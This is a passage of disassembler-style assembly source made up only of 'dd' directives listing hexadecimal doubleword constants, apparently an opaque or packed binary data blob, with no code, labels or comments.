		dd 0CD18402Ch, 0C9F4741Fh, 0FEE7AA2Fh, 38810054h, 37ADF358h
		dd 0B52CF10Ah, 0C283D068h, 88CE1CDDh, 73E35895h, 534118F9h
		dd 0FF6D216Bh, 8E04B171h, 310CC0F0h, 2BC894CBh,	0E0EE75C0h
		dd 0D65E02CAh, 78A09A96h, 1D175040h, 0D40E9326h, 510A4887h
		dd 5380ACCAh, 4BDA92D5h, 655D383Fh, 0A5865080h,	84A2EAE0h
		dd 349FF31Dh, 0FA03FF80h, 185C64F7h, 411254AAh,	27009B4Fh
		dd 0A54ED985h, 32EE29h,	2B0896Dh, 0DB58A167h, 0BD1C3348h
		dd 84EF4AC0h, 9480D21Dh, 439EF286h, 0E13500C8h,	54A74275h
		dd 80C03449h, 80726108h, 3DB4004Fh, 41834B47h, 5B2973ACh
		dd 0C100C029h, 0A1F86414h, 209A1203h, 0AE3C01AAh, 2072E480h
		dd 832C02A8h, 1DCEC31h,	77AD4DE2h, 0D6E83F36h, 12DD5C40h
		dd 29C14F90h, 0BE343132h, 0EB3840E2h, 194F653h,	0EE4CB008h
		dd 0E01777CCh, 20C1BA1Ah, 0ED298133h, 638AE024h, 0AF76494Bh
		dd 0FF55100h, 2F537C06h, 0EF743CDDh, 0FC884FA8h, 0F1103012h
		dd 3FDE8E29h, 71CD94Ch,	95A83052h, 487804C8h, 0C498CE34h
		dd 0A030E096h, 4D0F3CDEh, 0BF77063Bh, 4460A316h, 23A70CE4h
		dd 0E03C31D3h, 0ACCF321h, 34D7001Dh, 14544CCBh,	1048E63Ah
		dd 7D4300B8h, 0E011466Ch, 30340F35h, 52D6F2h, 0EC866000h
		dd 0E94C10EEh, 6B561080h, 87846480h, 5308496Ch,	3EA07Eh
		dd 9D570A34h, 161398FFh, 3C0F4C58h, 8E03309Ah, 84606413h
		dd 53DA381Eh, 0B1BA9683h, 867003C8h, 385A0887h,	0D575E815h
		dd 0D01F00ACh, 8C597AC7h, 123B00C9h, 9B224A2Bh,	100CD2AFh
		dd 80EE3D82h, 6F0A0106h, 4E6BD58Fh, 78A89834h, 0C1DC7371h
		dd 1BA00751h, 0CA7AF08Ch, 0C89B4707h, 8740A72Fh, 20817014h
		dd 40CCE66Dh, 9004E99Ch, 5B0A242Ch, 7BFD08B0h, 652FBE60h
		dd 40A75855h, 2EC0EAE3h, 77009C4Fh, 67AB86B0h, 158F63BAh
		dd 0D4767F13h, 69A53300h, 1EFA275h, 0F4F6A729h,	86BC3A78h
		dd 6D02100h, 2AF2D9FEh,	0C81F5C04h, 5731A304h, 127C8111h
		dd 718870B4h, 0AA8C2E13h, 2DCCC403h, 0B82BD87Dh, 62F0FBh
		dd 309224FAh, 0C91C6395h, 0BA4F1B1Eh, 5509FC7Fh, 4137BF8h
		dd 0F08C02A8h, 0D8F60218h, 0E0D5813Eh, 100C64E4h, 10149422h
		dd 82B4960Bh
		dd 6589BA31h, 30A6FC80h, 50C035E3h, 17077316h, 0FF29CAD7h
		dd 0C81915F0h, 64126D1Fh, 325547CCh, 44853458h,	5410D090h
		dd 0D23053F8h, 65BA18BEh, 0DCA0D092h, 4001FF23h, 0D7556B2Eh
		dd 0FC88A518h, 192F00B9h, 0DBE48225h, 9600240Bh, 0C9553D73h
		dd 0CB08714h, 636D626Fh, 9807BD78h, 0C8DA28B1h,	0DC94A14Bh
		dd 0CE7CAA6h, 0EC904838h, 641634D8h, 1001117Eh,	2AE43ACFh
		dd 0F63EBAD4h, 13CCEEE0h, 0D24A9Ch, 7B103450h, 0C453F8FFh
		dd 0CCA18420h, 0E5688165h, 9E788542h, 0FCC02B52h, 97BD26h
		dd 0C6302973h, 3195D792h, 7C52EA12h, 37C0C05Dh,	354CBC70h
		dd 30CD4E33h, 447B6308h, 8173023h, 90034B5h, 367E7B1Eh
		dd 9284265Ch, 9D948360h, 0C805D05Eh, 30B87179h,	32EB8C06h
		dd 5082E2C9h, 256010D5h, 30312048h, 4A21804h, 830EE8FDh
		dd 2078324Fh, 64FD5B86h, 0EA189A78h, 0D9D96802h, 141948C8h
		dd 0A8484200h, 2E4B739Fh, 0E8199C4Eh, 0FC18FA68h, 0E77E879h
		dd 0A865448Ch, 0CE77500h, 8220D7Ah, 0A82758F8h,	8CCC9C44h
		dd 6B7B6C04h, 0A0382F30h, 0B27B0300h, 7663CE9Eh, 822A1F38h
		dd 0B9628813h, 3E020424h, 0E8F5FE34h, 1B27DACh,	1E06C15Ch
		dd 600EAC2Bh, 7B0BEE39h, 3C811A4h, 0F853584Bh, 78404Ch
		dd 6D9E049Bh, 2061FE7Dh, 0C7121104h, 2F8752CBh,	94F2CA30h
		dd 0C5720EDEh, 63A02517h, 2F8D2BD1h, 9A73B00h, 2A489088h
		dd 89400024h, 7A0A78C0h, 53004FCDh, 4DED7471h, 30482Ch
		dd 0D3999755h, 0F7C9D11Bh, 0D649F12Eh, 76A3183Ah, 132E620h
		dd 4BAC54D7h, 0F09CEAB6h, 133BF314h, 710B00B4h,	4C2F9E01h
		dd 2C275274h, 19D38701h, 0CFC99D1h, 0CCEC89BEh,	0D60151D7h
		dd 1922EF7h, 0F3702D4Bh, 0E9480071h, 0D2F345B6h, 0E703A775h
		dd 31E54A2Eh, 3EC02355h, 0B0D25003h, 3421FDD1h,	890177B7h
		dd 67970008h, 9209008Ah, 0C93BB003h, 55601DF4h,	1CA50829h
		dd 0A07C39F8h, 26FE600Ch, 490FF320h, 83A8B94Dh,	388EC72h
		dd 59553698h, 4100127Ch, 516BBF10h, 0E85029Ch, 8632B142h
		dd 0BAF1AA80h, 67002E77h, 879AA96Bh, 6008C18Bh,	5B99482Dh
		dd 0EC28466Ah, 0EB0AA02Eh, 0A8BF3AA2h, 0BA371300h, 0DA9BE2h
		dd 493990A7h, 61A84E23h, 0F100AF77h, 58F6446Ah,	1D65D42h
		dd 0CFD976A2h, 0F51BCD8Ch, 0DA55D010h, 52C48800h, 7DD34851h
		dd 0C37FDCh, 1E77031Ah,	0B8B66455h, 0A959E903h,	0F841C58Eh
		dd 6FF1EBh, 8ADE2EF3h, 713AF488h, 700DCE00h, 4FC0649Eh
		dd 5FED015Ah, 824BC6C8h, 0D1D260F1h, 45D84600h,	87BC568Dh
		dd 5AD4E54Fh, 1EE904E6h, 0BEC3CE1Ch, 4BC7BDC0h,	198838A1h
		dd 0B881D4BEh, 0B5A47D83h, 0BE42EC35h, 8FB7AD00h, 674BCCB6h
		dd 2EC30240h, 71B0FE1Ch, 802F80C1h, 4256AC21h, 330D659h
		dd 0C06E3A0Ch, 29E0B9AEh, 0AB30F2CEh, 0F50D28B8h, 0F0A5009Ah
		dd 0D61DBFBDh, 0D2707A1Ah, 3B9C8E1Dh, 6D347780h, 6E0E80EFh
		dd 2C8339CDh, 68008EBDh, 0ADFE7677h, 73B9D73h, 6F4E0FF2h
		dd 0A497304Fh, 0A907DF60h, 49C42451h, 0B24869C1h, 4625700h
		dd 0BB18F900h, 8076C002h, 72AD0712h, 71A0A2D1h,	85ACA31Ch
		dd 8E382170h, 0D2AD1EC0h, 26A10124h, 88CC25F0h,	5889838Dh
		dd 889C20BAh, 6A696B1h,	0CC5B9D74h, 9EE02181h, 9361700h
		dd 0F152C32Dh, 46183355h, 93889748h, 0D13DC015h, 6AE4002Fh
		dd 3A82DDDCh, 18F6008Bh, 73D7A2DBh, 0FE7AE225h,	54352700h
		dd 78CCEE5h, 283060CCh,	0F0787F37h, 56052300h, 2E88FEE7h
		dd 0EA682EEBh, 7F040E6Ch, 3BB33D01h, 0CDBDCC32h, 98D639h
		dd 5677A736h, 0B9A67Ch,	2594C2D2h, 9BE98A0Ah, 4E05D100h
		dd 8BBEF903h, 3B610089h, 839DD449h, 48FECBD2h, 5EAFDD1Dh
		dd 726AB5C0h, 0FEA0D7h,	0A38D2C39h, 0D6412644h,	0C736200h
		dd 0B9CC6980h, 0E4B6030Ah, 7AA8F28Bh, 0F7DB00EDh, 1EF342FCh
		dd 3EF55400h, 0D580AD64h, 76E83950h, 0FD7E3B8Bh, 0DB39A681h
		dd 6022DCC1h, 110E2B00h, 0A5EE456Bh, 0B2CD00AEh, 29339A4h
		dd 633B78CFh, 0C21F8060h, 0C816D23Fh, 8330E86h,	0C5636BB5h
		dd 223F483Ah, 45ED80A2h, 3EB94604h, 0C7FB09EBh,	28859EFDh
		dd 0FAC580A0h, 0F7E6DB85h, 95E206EAh, 375DC800h, 0CADECEAAh
		dd 423805DFh, 80B53525h, 416C61B1h, 76865800h, 0AC0A5DD3h
		dd 0E4E5014Fh, 3EF3B324h, 7992F466h, 0B793C500h, 987445AAh
		dd 3DCE0019h, 0AC815F71h, 35F8B518h, 32102C00h,	0E099D989h
		dd 9D5000F1h, 0FD28419Ah, 6F004D20h, 0A0155B6Dh, 3FCD1CACh
		dd 86811797h, 65887550h, 0F908D864h, 1D58C00h, 1C72AB2Ch
		dd 0F3A00084h, 0A717D4BBh, 400E35Dh, 0E1EAC3A3h, 16738CAAh
		dd 0AC79986Dh, 6C4008Eh, 37A164A5h, 33C0BFC8h, 560043AFh
		dd 0CF42DDFBh, 706EBFA4h, 3CBB002Fh, 0E58A6CD5h, 86000EDAh
		dd 9EC3C509h, 5079CFh, 0FD996B9Ch, 0DB02B83Bh, 68F0AC06h
		dd 38DFE6h, 4AA3FE72h, 0B0FA792Ch, 7FF2D606h, 210139h
		dd 75CA5A1Ah, 0F595387Bh, 0F0B45F1Fh, 0DF8BF405h, 0B0D7C880h
		dd 13F900C0h, 5FCC762Fh, 0A9754B96h, 11EE2E00h,	7CAB4DA2h
		dd 1529001Eh, 0A35781F5h, 4C00E07Fh, 694E9C14h,	0E01A0799h
		dd 66A01A7h, 68B7B3FAh,	38D1301Dh, 53DC8D00h, 954CAC57h
		dd 5DEA00D8h, 0F5021F63h, 3F3A1C66h, 0CA2993F9h, 0C3073507h
		dd 67D79CB0h, 10BE4CCh,	4DB6906Bh, 0FC2BDF13h, 0AB0782A5h
		dd 0A37841E4h, 0C8A7BD0h, 0D0240547h, 42CC48Ch,	0C0EC12ECh
		dd 0C5A3EBE7h, 7870B503h, 0A9149EFCh, 2860814Ch, 0F6A70008h
		dd 3025374Eh, 0F4004038h, 699360A1h, 711BFA03h,	77650381h
		dd 21DB519Ah, 0E0BFB4FBh, 3F5BD127h, 769EB500h,	0DBF48052h
		dd 92D83E40h, 0D57B005h, 0FEE98097h, 0ED3B96C7h, 580074D2h
		dd 28863526h, 22147Ch, 0BABB54BFh, 0ED77E81Ch, 0ACD89001h
		dd 3D16CB50h, 27DC4h, 0DBA8A3E7h, 20D75117h, 9DBC4400h
		dd 0D04522F8h, 604EC58h, 0E588A84Bh, 0B5006060h, 96870CBDh
		dd 75A49CEh, 0FD54A4AAh, 0FF1DE08Dh, 7000E667h,	2877593Ah
		dd 0B049B6FCh, 56C00F7h, 0D7359DC1h, 5C07ACC0h,	19AAB52Bh
		dd 79A8DB00h, 67FD1921h, 0FCEC3082h, 5A011556h,	37F3DCCEh
		dd 89DD1073h, 0D4400921h, 0B3D30h, 248A4A66h, 0E98CED94h
		dd 95D72200h, 0F75834B9h, 0E3643EC3h, 20683C00h, 0F94213B3h
		dd 676BC818h, 7F728310h, 19700676h, 0B88B5C47h,	2B4EE900h
		dd 93BAA237h, 0A77200F0h, 0AAAF74B7h, 5E0A16CDh, 0B87CE48Ch
		dd 69677D80h, 4A47506h,	135D9A1Ah, 0CB30D016h, 0EC0FF08Ah
		dd 8F7F17h, 1E8D1A18h, 8E2E009Ah, 9F9CB04Ah, 0AF260C6Dh
		dd 0BF00B77Bh, 0CC42E722h, 23B2003Ah, 1E0AC0D9h, 12B0FCF8h
		dd 0D5AA1124h, 9B6E4D00h, 28E7F9AEh, 0CC8AA1h, 7832A758h
		dd 0F14EE1C7h, 39030D72h, 4A3610BEh, 0E081C3B5h, 78119F8Dh
		dd 0BC21C049h, 5B7996BAh, 97637C00h, 7F355E60h,	992B0A06h
		dd 8030304Eh, 446151BAh, 7854EBA5h, 18307680h, 6C25212Dh
		dd 0A098001Fh, 0C90B9656h, 0D45C022Eh, 0BEE6001Ch, 4494708Ah
		dd 7F990083h, 3098D64h,	9A002610h, 0EDBEDBBBh, 24DCD6h
		dd 5473814h, 86AAFA93h,	9CEA6A07h, 0A1604BDDh, 0A64D9Ah
		dd 8A32D403h, 0FF4237A8h, 2F53D300h, 2613295Eh,	2B11002Dh
		dd 3B1FE079h, 7A0B1D56h, 800319C2h, 7DEB0D68h, 0AE3D0072h
		dd 0C1BBA8Fh, 3900E694h
		dd 194BDCB7h, 416475h, 0EFAB9C4Ah, 0C8B1E40h, 25E830E9h
		dd 3000D471h, 0C36BB868h, 0A7C517h, 60FCDD72h, 0F7A637EFh
		dd 87987304h, 0D5C01C18h, 72DFE36h, 0A8052846h,	0A111F33Ch
		dd 65D88E00h, 4031ED9Dh, 0A9320F15h, 62A085AEh,	0AA455CAFh
		dd 71B02754h, 7ED1251Ch, 0E6B8420Fh, 181372h, 0CD349826h
		dd 0E301A54Ah, 8D312561h, 20807BA7h, 294922E6h,	0F10060CBh
		dd 0E7356ACEh, 3FA9A4A5h, 3F12AFCFh, 0E2F0474Ch, 224F8029h
		dd 445815FEh, 34AA0E5Bh, 0DB466530h, 9457080h, 0FD31CF42h
		dd 0D90BCF00h, 0C60086B3h, 7515BCAFh, 1EBAE44h,	0CF859274h
		dd 0F5176F2Bh, 0D43DE434h, 15085F00h, 0BD64B703h, 59D13EF4h
		dd 0CEEA450Ch, 5630AD59h, 1AC3C836h, 4F810051h,	0BEA75F27h
		dd 0B3000868h, 9F7CA1F1h, 0FDD898h, 5C0184DBh, 0C435A7BBh
		dd 68A56206h, 480D4F2h,	745263Bh, 0C85C9090h, 0EB03DC05h
		dd 1BB42A4Ch, 8671A8D8h, 933F0001h, 549D2F9Fh, 0FD0CD90Dh
		dd 38B264E8h, 751000A0h, 89A6950Ch, 4ECA8E6h, 0EA5D8300h
		dd 0BBACE8F0h, 0B95360ADh, 0DD0F2A0Eh, 0DB316800h, 0DABDB638h
		dd 6A8B006Fh, 651FFC53h, 0D8023F05h, 8D46D557h,	0F7D8A082h
		dd 0E55F0Ch, 0AA473CA1h, 0BE4DC396h, 624EC600h,	0E4CAD663h
		dd 0C361237h, 21040D7h,	54A5436Dh, 0F0201B00h, 0D3A95BEEh
		dd 10F60EA0h, 0AC2C8ED1h, 11005561h, 611FC55Ah,	12F86EBDh
		dd 21A0D481h, 32364018h, 64AF03F8h, 1863F39h, 24B42069h
		dd 0E0D2751Eh, 0C03D170Bh, 0F2E300A0h, 26EB3282h, 62EF01CBh
		dd 0AD385184h, 0AC48248Bh, 0C9AE8000h, 3F0B107Ah, 4D36EC37h
		dd 580A482Bh, 8FB45A8Eh, 0F5E309A9h, 0AC885971h, 90016CD6h
		dd 0CD9902A4h, 0A0FE0761h, 6831E3E4h, 4FD007C4h, 2FBE8FE8h
		dd 0CEF59F80h, 940657ADh, 66CC537Fh, 2B280031h,	0C5BA3667h
		dd 0DD74DAEAh, 0F5A38F00h, 8D032CBDh, 4AFA3084h, 63765A90h
		dd 4559A903h, 0E049E242h, 0CCF1AFh, 81C56C1Ch, 0B5D80F94h
		dd 0EE1FB800h, 0B737A363h, 74E70177h, 33AA80D9h, 789C508Dh
		dd 8C01FCF0h, 0BF917D76h, 3C30BC61h, 0FCA665h, 1FCB086Bh
		dd 9405D336h, 0FBF01700h, 0A010222Eh, 4A51290Ch, 403B9EA8h
		dd 0DA13C4CBh, 0EB0683FFh, 8980BB25h, 74A52421h, 0BF0503E1h
		dd 8D9AE63h, 4B8DD4BDh,	8E82B4A8h, 0B6FA2200h, 0F70AE695h
		dd 5CC9128Fh, 6E4C0213h, 0F1C0811Ch, 532ECBD1h,	140037B5h
		dd 9E737F19h, 4B63095Ah, 2C10E8FCh, 32009A2Bh, 0D5CF9D94h
		dd 98F0F4C8h, 1E210008h, 93DEBF2Fh, 0E8189832h,	1CD6CA35h
		dd 28BF862h, 5DAF7821h,	7864CF05h, 73D0812h, 0E02DE400h
		dd 5C064028h, 0C413B3D0h, 579006D5h, 42710804h,	9EDAC500h
		dd 728678D1h, 0E8A0E4EEh, 15AD2A04h, 0C4E100E8h, 2F91BD88h
		dd 0FA00A269h, 938045CAh, 0FCD03D94h, 92BF0049h, 4CDC1B09h
		dd 0C673D4ADh, 0CB912E60h, 7CFB804Eh, 64FA0BE8h, 4480D8BFh
		dd 8A9B120Ah, 5300A67Bh, 35FD5EEAh, 1331F5E8h, 50994C5h
		dd 272BF637h, 0C0FACCh,	87035F3Ah, 0E12445CBh, 808CB8DAh
		dd 7C29F1h, 0C914DE6Fh,	623BD794h, 0AE9DB800h, 57BD770Ch
		dd 0AF3724D2h, 8B720ED0h, 0BA2AA7C3h, 591BA388h, 0A3A38h
		dd 0E8B836BFh, 24567F1Fh, 8F846751h, 20721BE4h,	2A65B73Ch
		dd 105F0B00h, 3DCA75F1h, 72AA01F7h, 0CF8478D4h,	80DF210Eh
		dd 1A1A048h, 0CF19806h,	0C0E302E5h, 51077EB1h, 9A537986h
		dd 1116698Ch, 0D18E89h,	84DFE27Eh, 1518DE6h, 7149CEEDh
		dd 809E07A0h, 0D17E2C31h, 138EDD50h, 5FB5C873h,	53E645ECh
		dd 0D214059Dh, 74CC9FEh, 95C3F0BCh, 0EF00C939h,	0E1CF36C7h
		dd 0CABE086h, 88B65671h, 54048B39h, 8F33972Eh, 0A1183490h
		dd 3AC000A8h, 6A0E489Bh, 9E13D079h, 140E2A7Ch, 843632Eh
		dd 5331008Ah, 0B71C4DBh, 301B114h, 0D5A487D3h, 0E4423AA2h
		dd 0BE62237Eh, 0F6640A90h, 2EC67503h, 4E285h, 9DAEFF89h
		dd 0E7BA1405h, 0D2EB6B00h, 972C69DCh, 1F5509FDh, 60058782h
		dd 3C55C22Bh, 0BC845881h, 711CDC9Eh, 0C2567700h, 34D121E2h
		dd 0B2700C0h, 721FBD62h, 78700250h, 0D08D7E24h,	64328840h
		dd 66ED0129h, 1FEFA00Fh, 0E3822AAh, 47DFDACCh, 0C940CFACh
		dd 5BFD0Ah, 0B76A3D0h, 19E21682h, 0B653C1C0h, 3BEBD5h
		dd 230A6AC3h, 5B5A76B4h, 541E6700h, 0E86CEAFAh,	0F23009CFh
		dd 0E400AFB7h, 856A2992h, 651D5101h, 0FE0E0553h, 543546DCh
		dd 0B509C5Eh, 8B95C620h, 3B9FC023h, 80DF2289h, 9CBE7831h
		dd 6BC4FA95h, 4008EAE8h, 0CE5201D6h, 72D3AFBDh,	0FC30378Ch
		dd 470A6FB1h, 7E16181h,	0D870BE06h, 8E15CBA7h, 0B909454h
		dd 18B0D435h, 845B94h, 0E4C188CAh, 6053EF0Bh, 28008892h
		dd 0EDA90FD6h, 0AF87E5h, 0CA7D8334h, 5122393Ah,	6480C826h
		dd 0C8DC7F43h, 98FFCC54h, 41898ACh, 0FCCEFE73h,	0BB60C7D8h
		dd 7F0A4809h, 38A501F3h, 628E4576h, 0D838C8h, 73B7B306h
		dd 2ED1F65Bh, 40F4C2D0h, 0A8B57B8h, 0D0A4FFECh,	3C0FD5F6h
		dd 83ED6B55h, 0F86D6597h, 1D81746h, 0AA16BCB1h,	0DC260F74h
		dd 37F2804Fh, 49B5C001h, 7345D857h, 2A9E1AF4h, 0E19CF00Ch
		dd 0F48D140h, 745F0017h, 5CE1EE3h, 0F100D85Bh, 1A9EECDh
		dd 3F28CAE7h, 0DD1713BDh, 50A800AAh, 7BF22FF0h,	654B380Fh
		dd 8FEE60BEh, 0AE330FFh, 397D1B60h, 766C0084h, 0A00EA678h
		dd 0E1F2AD30h, 5BD77F1Bh, 5E839h, 6A069330h, 580D5378h
		dd 5F10A021h, 0AF8400B2h, 2A6DAD18h, 0AC723A4Ah, 53DDC780h
		dd 3BE96166h, 2B4430B0h, 3D512E86h, 9E02008h, 0D3092485h
		dd 0C4051881h, 2C9C2378h, 0FF00FABAh, 0BD339F9Bh, 6503143Ch
		dd 0F7003C8Eh, 179D24C1h, 8500ABECh, 0AECD5A01h, 1FED7EE8h
		dd 0C077562Ah, 870272DEh, 8612CADBh, 60007CECh,	24F50B4Bh
		dd 277D4A26h, 0E9CA7050h, 6E000A1Ah, 2834393Dh,	0F28A875Ch
		dd 1CF7A3Ah, 4ECA6D31h,	60415A84h, 7300812h, 0AA38416Bh
		dd 206103A8h, 6AB6549Dh, 5B341926h, 2D129E24h, 44226400h
		dd 1F3B51C9h, 83655EC5h, 5071B67h, 1741311Fh, 208934C0h
		dd 0EED82730h, 0EA75F7h, 0B81EE47Fh, 0DB456D53h, 52B01A02h
		dd 5AF05703h, 90465440h, 0BF7200D4h, 0E56B4162h, 31002C75h
		dd 33F8AC48h, 25DCDAC2h, 0BA5CB31Ah, 0AAE08500h, 4783D8Ah
		dd 58AFD421h, 0E2E89147h, 0AD998003h, 0E3780A72h, 0AC731F4Fh
		dd 0A0E8C327h, 0C0956285h, 36B01030h, 0E8ADD42Eh, 3D724440h
		dd 13940067h, 0D50B80EFh, 3F0198B8h, 17098F85h,	4420A9DCh
		dd 0D7070C3Ah, 40C14341h, 7F2032FFh, 484AAE28h,	0F81944h
		dd 88CB6841h, 49D070D1h, 559C1300h, 309AA0C1h, 82531F83h
		dd 0FD0A61Dh, 300C6E3h,	0F5199136h, 0BB9D2707h,	4092CC12h
		dd 9CD8CB22h, 4788A4h, 0DBA21CCFh, 7B48122Ah, 0FFE1EC00h
		dd 0A649D49Eh, 0B68A0497h, 81BC2DB1h, 73144AA0h, 7AA11E5Ch
		dd 8AC5CE40h, 0DD953Fh,	4D8D552h, 0A7191E1Ch, 0F1E11705h
		dd 0C8C0C333h, 0DEA27A5h, 3607C167h, 5746E8E1h,	45447D03h
		dd 90F52864h, 0C7CC52h,	0D0336ECAh, 36F01AFBh, 20C98726h
		dd 0FD24800h, 0F8E4C2h,	5F53D425h, 0E388BB4Fh, 8701D009h
		dd 3DE44418h, 4AE01BF8h, 0CEE5705Ch, 131D2B3Ah,	0C1002411h
		dd 28CD864h, 0ACA84D30h, 746D0300h, 5A788079h, 5B041709h
		dd 0CAB082CDh, 39F0C6AAh
		dd 8B8EA191h, 0A6202559h, 72C53F3Eh, 0E2C3AB14h, 6C8F0340h
		dd 0E046201Ah, 7D2C03Ah, 0EA57744Bh, 31D54796h,	28AF83FCh
		dd 9DBC0058h, 4B1E8579h, 0BD173C78h, 0AA867F80h, 0AFDC461Bh
		dd 9700D8E8h, 3173E70Ch, 0B06BFC12h, 20245860h,	97AB171Eh
		dd 418C218Dh, 0C96BCCA6h, 31CA720Eh, 0BF63A067h, 517A582h
		dd 0AD1B806Ah, 98E8402Ch, 0E1B95B96h, 0A3DACF0Eh, 46F201DCh
		dd 1825458Dh, 5ACDD8h, 0FD865F81h, 9E15A0D8h, 0FE987B00h
		dd 1743DEE7h, 0E90B4872h, 8068182Ch, 98F05BA9h,	0EA12EE4Bh
		dd 24D3AD7Ch, 0CC07C848h, 3DA6008Fh, 6F5845Eh, 112C2B6h
		dd 0DB00EA62h, 0D1DAFC8Bh, 64D41E9Bh, 0BECB870Ah, 28135FA2h
		dd 16007440h, 5184325Ch, 138C52Eh, 854FD021h, 607C0ECAh
		dd 63493F04h, 808839B8h, 10986422h, 18E8121h, 11F7F04Bh
		dd 747AB8E2h, 0CF50BB2Ch, 9F0026B0h, 0B3153085h, 124A51B9h
		dd 441458D7h, 80F873D8h, 8AF938D2h, 98698F2Ah, 2EDFB90Eh
		dd 0F6B020E8h, 3A3EEABCh, 0BF804188h, 0A94B3CC8h, 0C8EBAF44h
		dd 1C01D43Bh, 2B707353h, 2862D836h, 0DDE8B000h,	77B8A2CFh
		dd 31BC7800h, 0BE4F1C24h, 697F0071h, 54B06607h,	88A863AEh
		dd 0E9C0F30Ch, 6125E28Eh, 158B0E87h, 3D60743Bh,	0EB19FC07h
		dd 41473202h, 520AD09Fh, 5EF0C17Ch, 402BA6D7h, 0ECCCDD70h
		dd 6A80451Bh, 18E4AC59h, 0A13600BCh, 1846166Bh,	121828C7h
		dd 0FE29F134h, 320A0077h, 0F7A1788Fh, 300D4BEh,	0BE9CFFAh
		dd 969A718h, 0A09D4B5Fh, 0E8717182h, 90016044h,	0B3882021h
		dd 3AF081B0h, 85C82DC9h, 0D2711418h, 53A65D0Fh,	61EB86DAh
		dd 6FD81319h, 8184C4C0h, 0C80B177Ch, 0F4012CCDh, 0CACE5DF5h
		dd 2C320371h, 7EE9A00Ah, 6C2E8EDCh, 3D2AD982h, 56D7F960h
		dd 1D83EB1Fh, 1AEF7B47h, 89847759h, 9EE0C83Ch, 9F69606h
		dd 9E88A0D1h, 22B65038h, 863CE200h, 930FCB5Dh, 1ABE02F1h
		dd 0ADC48C07h, 0F9009852h, 0A1CCC279h, 9D2109h,	729AFB62h
		dd 2DC10364h, 0A582F091h, 4050C523h, 93F4CC3h, 8ED917D7h
		dd 0F86AC4C8h, 1B0AD00h, 5D64EB25h, 0B81A5E20h,	30C724A0h
		dd 5A1F5342h, 0FDAF01ACh, 79FBFAB0h, 50698Dh, 5D1955DCh
		dd 4D77ABh, 6BF79AE8h, 0BC997EB0h, 63AC8904h, 90A58E92h
		dd 2298CECh, 0AFD5FCDAh, 0D19FA6h, 92165B11h, 777432DEh
		dd 1E08479h, 168D33AEh,	1806334h, 0AA57F48h, 484980F4h
		dd 9E0EBD2Bh, 4C7A6Bh, 7F44C3A1h, 33AB97C4h, 5A9EF09h
		dd 91948B10h, 0E03CAFC8h, 0D26B022h, 4780ECABh,	0C4AE68EBh
		dd 0F10A0088h, 926B4A40h, 0A70BC746h, 80EDE929h, 0AA82724Ch
		dd 0D18400FBh, 198E6C54h, 8F093A80h, 900CD0ABh,	3A7A5234h
		dd 859D7B97h, 59ACDAh, 1862BA5Bh, 34987C98h, 0C0BED917h
		dd 7672D800h, 9CE4457Dh, 0A5AF850Ch, 95AC4519h,	237CB01Bh
		dd 0D0C9EB09h, 0A01C1876h, 6F040283h, 0B28DC6A8h, 0DED7C07Dh
		dd 569BE266h, 0A2028040h, 70EA69Ah, 34DF6055h, 0C5C0008Ch
		dd 0E8863903h, 0AD00EACEh, 50ABFBAFh, 5C9774A8h, 5806EC16h
		dd 406B0E75h, 7FCE4D00h, 0CD357E6Eh, 3CEC728Fh,	8881F7B8h
		dd 45693AFCh, 0B9472AAh, 0ADE201h, 0F429143Ah, 5B47017Bh
		dd 27A00A2Fh, 0DCBE71C6h, 0A862ACD7h, 46EA40A9h, 3647BE8h
		dd 756A1CDAh, 0D4C3AFF1h, 7846978Ah, 0A066781Fh, 0EAAA9F3Bh
		dd 750E55C0h, 0D34A38h,	6D1BFB3Dh, 0C8CF86A2h, 25D05901h
		dd 99549545h, 384C2462h, 56D36D09h, 8A9F6F03h, 0D95CEAC1h
		dd 3CD4317Bh, 0F890C724h, 13880D83h, 0D79D5311h, 0CEFC9108h
		dd 423AAh, 6AE72D97h, 624587Eh,	0E2302FFAh, 430031D2h
		dd 0A2EFF10h, 4C934Dh, 0B8E48CCBh, 52DF207Eh, 1465D224h
		dd 6B01C703h, 44FA9F9Ch, 0F826AF1Fh, 7D1F3460h,	2DE30E31h
		dd 5DA02BBAh, 4DCD4070h, 0BB22120Fh, 870520C6h,	6D4D003h
		dd 33AFF471h, 52005189h, 0E2F5E6DCh, 30A96F7h, 560167D1h
		dd 0A4F45378h, 40B60C94h, 8A28F780h, 9427A47h, 16BA507Fh
		dd 0DEBE9000h, 0FE4E01AFh, 2CB02840h, 0B0239D28h, 7DD8B0D0h
		dd 0E21500E8h, 5648E124h, 0AF25D90Dh, 40F02109h, 0D9BE4380h
		dd 304AAD16h, 393BE4B8h, 0E552CF02h, 0C1671106h, 63D040F0h
		dd 0B313279Ah, 23327410h, 0BB157C00h, 65A4184Fh, 0B33011Fh
		dd 635F401Ch, 8A8BFC4Ch, 2F7558C0h, 0B10905E0h,	282C88h
		dd 6BE62D2h, 4C0037BDh,	8E9CCEFDh, 38BBC0E8h, 43CB08A6h
		dd 0CA9EFE6Ch, 0D9DB1888h, 0D3F6C200h, 0D6DEB63Bh, 7A560202h
		dd 570198ACh, 220470D2h, 0D72774E8h, 2D85DCB0h,	0C8901CAAh
		dd 7700EF38h, 7AEB8113h, 58D8D2DAh, 31C02C07h, 770FFC99h
		dd 66DC40EFh, 37024CF6h, 6287A86Eh, 0E06CC48Dh,	7683E0D1h
		dd 7D170068h, 41E71E01h, 3002F91Ah, 3BD7E03Fh, 80287093h
		dd 975AFh, 88B41D19h, 0EA0CCAA1h, 8DDDF0A2h, 8428A042h
		dd 0A6AC809Dh, 0CBF3473h, 41DD100h, 0C2CD29A3h,	4CCE027Ch
		dd 8D670FF9h, 0F60114C4h, 6F4944F1h, 0F868C205h, 58C8E289h
		dd 0A80F2F61h, 635EC6B6h, 0F291AC3Bh, 0EAD44073h, 9A4312EBh
		dd 77240587h, 6564C11Eh, 0A84516h, 0A8C2FC8h, 0D0A4E292h
		dd 0B19C2000h, 0CC6CF64Dh, 0F44100D7h, 47CA049h, 0D00555BEh
		dd 0CE1B2EBh, 0E60888h,	540EFCD9h, 0BA41191Ah, 0C879DB00h
		dd 8BA1849Dh, 517D030Ah, 0D2BCD75Fh, 3709FC0h, 58807C4Ah
		dd 59A0E7h, 0DBDA7766h,	0DF94EFA9h, 0C5019513h,	44C2DC24h
		dd 72342019h, 0F5025A75h, 0FA76BE3Eh, 1CBCE09Ah, 4F98ADCh
		dd 8682B00h, 0E138C8Eh,	7A032144h, 186EAA80h, 5309F68Bh
		dd 0EA801D90h, 3E4EC078h, 0CB490387h, 0CC07A6D6h, 0BD78E09Dh
		dd 673D3D78h, 0B6538C04h, 0EC8B91B4h, 0E6980073h, 2C791715h
